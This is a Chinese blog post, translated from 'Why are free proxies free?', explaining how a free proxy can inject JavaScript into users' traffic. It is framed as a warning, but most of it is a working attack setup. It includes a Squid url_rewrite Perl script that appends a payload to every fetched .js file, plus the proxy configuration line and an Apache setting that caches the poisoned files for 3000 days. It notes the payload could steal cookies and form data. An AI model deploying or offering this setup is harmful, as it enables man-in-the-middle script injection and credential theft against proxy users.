为什么会有免费代理?
五道口杀气 | 2015-01-04 12:14
因为这是一个很简单就可以收集用户数据的方法。
所有的工作都是可以通过修改SQUID配置达到。
1.[Server] 在linux服务器上安装Squid服务。
2.[Payload] 修改服务端配把所有的javascript文件都加上一段我们自己的代码。
3.[Cache] 修改.js文件的缓存时间。
作者搭建了一个代理服务器,过了几天有超过5000个人用他的代理,大多数的人是用来做坏的事情,但是他们没有想到的是,代理服务器也可以对他们做坏的事情。
做你自己的植入js文件的代理服务器
除了你自己的squid代理服务器外,你还需要一个web服务器,这里用Apache为例:
1.创建payload,这里只是修改a标签连接为例,实际过程可以偷取cookie,获取提交表单内容等。


for(var i=0;i<document.getElementsByTagName('a').length;i++)
    document.getElementsByTagName('a')[i].href = "https://blog.haschek.at";

2.写squid脚本文件,来修改所有的.js文件:
/etc/squid/poison.pl


#!/usr/bin/perl

$|=1;
$count = 0;
$pid = $$;

while(<>)
{
  chomp $_;
  if($_ =- /(.*\.js)/i)
  {
        $url = $1;
        system("/usr/bin/wget","-q","-O","/var/www/tmp/$pid-$count.js","$url");
        system("chmod o+r /var/www/tmp/$pid-$count.js");
        system("cat /etc/squid/payload.js >> /var/www/tmp/$pid-$count.js");
        print "http://127.0.0.1:80/tmp/$pid-$count.js\n";
  }
  else
  {
        print "$_\n";
  }
$count++;
}

脚本用wget获取页面原始的javascript文件,然后吧/etc/squid/payload.js文件添加进去,修改后的文件返回到客户端,同时你需要创建/var/www/tmp目录,并允许squid在其中写文件。这个目录存修改后的js文件。
3.告诉squid使用该脚本
在/etc/squid/squid.conf中添加


url_rewrite_program /etc/squid/poison.pl

4.设置js文件缓存时间
/var/www/tmp/.htaccess


ExpiresActive On 
ExpiresDefault "access plus 3000 days" 

告诉Apache服务器设置超长缓存时间,除非客户端清除浏览器缓存。
原文地址:Why are free proxies free?